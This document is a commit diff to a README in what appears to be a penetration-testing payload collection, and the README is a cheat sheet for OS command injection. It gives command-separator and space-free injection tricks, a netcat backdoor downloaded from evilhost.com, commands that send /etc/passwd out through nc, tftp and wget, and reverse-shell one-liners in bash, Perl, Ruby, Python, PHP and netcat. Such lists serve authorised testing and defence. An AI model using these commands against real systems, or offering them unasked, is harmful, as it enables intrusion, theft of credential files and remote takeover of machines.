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More command exec without spaces

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Credits:

Joe Sylve
Daniel Frisch
This commit is contained in:
Adam Muntner 2016-10-04 00:03:33 -04:00 committed by GitHub
parent 0891bb84ec
commit b41ed8173e
1 changed files with 34 additions and 32 deletions
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66
attack/os-cmd-execution/README.md
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@ -9,84 +9,88 @@ usage
**Executing Commands** **Executing Commands**
Seperating Commands Seperating Commands<br>
``` blah;blah2 ``` ``` blah;blah2 ```
PIPES PIPES<br>
``` blah ^ blah 2``` ``` blah ^ blah 2```
AND AND <br>
```blah && blah2``` ```blah && blah2```
OR OR<br>
```FAIL || X``` ```FAIL || X```
OR OR <br>
``` blah%0Dblah2%0Dblah3 ``` ``` blah%0Dblah2%0Dblah3 ```
Backtick Backtick<br>
``` `blah` ``` ``` `blah` ```
Background Background <br>
``` `blah & blah2` ``` ``` `blah & blah2` ```
***Shell commands without spaces*** ***Shell commands without spaces***
Using Internal Field Separator (IFS) <b>Using Internal Field Separator (IFS)</b>
Test for cmd injection withouot spaces:<br> Test for cmd injection withouot spaces:<br>
```sleep${IFS:0:1}20``` ``` sleep${IFS:0:1}20 ```<br>
Example netcat backdoor without spaces: Example netcat backdoor without spaces:<br>
```{wget,http://evilhost.com/nc}``` ``` {wget,http://evilhost.com/nc} ```<br>
```{chmod,+x,./nc}``` ``` {chmod,+x,./nc} ```<br>
```{./nc,-l,-p,6666,-e,/bin/bash``` ``` {./nc,-l,-p,6666,-e,/bin/bash} ```<br>
See: https://jon.oberheide.org/blog/2008/09/04/bash-brace-expansion-cleverness/<br> <b>Shell Variables</b>
``` CMD=$'cat\x20/etc/passwd';$CMD ```
<br>shell variable increment through file one line at a time</b>
increment the first +1 to retreive the entire file, line by line<br>
``` SP=$'\x20';cat$SP/etc/passwd|tail$SP-n+1|head$SP-n+1 ```
**Exfiltrating Files / Data** **Exfiltrating Files / Data**
FTP FTP <br>
Make a new text file, and echo and then redirect to FTP Make a new text file, and echo and then redirect to FTP
NC NC <br>
``` 'nc -e /bin/sh' ``` ``` 'nc -e /bin/sh' ```
NC NC <br>
``` 'echo /etc/passwd | nc host port' ``` ``` 'echo /etc/passwd | nc host port' ```
TFTP TFTP <br>
``` 'echo put /etc/passwd | tftp host' ``` ``` 'echo put /etc/passwd | tftp host' ```
WGET: WGET: <br>
``` 'wget --post-file /etc/passwd' ``` ``` 'wget --post-file /etc/passwd' ```
**One-Liner Reverse Shells** **One-Liner Reverse Shells**
On the listener On the listener <br>
``` $ nc -l -p 8080 -vvv' ``` ``` $ nc -l -p 8080 -vvv' ```
On the remote host... On the remote host...
Bash: Bash:<br>
``` $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ``` ``` $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ```
``` $ exec 5<>/dev/tcp/evil.com/8080 ``` ``` $ exec 5<>/dev/tcp/evil.com/8080 ```<br>
'$ cat <&5 | while read line; do $line 2>&5 >&5; done' '$ cat <&5 | while read line; do $line 2>&5 >&5; done'
Perl Perl<br>
```$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ```$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ```
Ruby Ruby<br>
``` $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` ``` $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ```
Python Python<br>
``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```
PHP PHP<br>
``` $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ``` $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```
(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6) (Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)
Netcat Netcat<br>
``` $ nc -e /bin/sh 10.0.0.1 1234 ``` ``` $ nc -e /bin/sh 10.0.0.1 1234 ```
``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ``` ``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ```
@ -95,11 +99,9 @@ Netcat
XTERM:<br> XTERM:<br>
Server: <br> Server: <br>
```$ xterm -display 10.0.0.1:1``` ```$ xterm -display 10.0.0.1:1```
Listener: Listener:<br>
```$ Xnest :1``` ```$ Xnest :1```
```$ xhost +targetip``` ```$ xhost +targetip```
<br>More docs: /docs/attack-docs/remote-cmd-exfiltration/<br>
More docs: /docs/attack-docs/remote-cmd-exfiltration/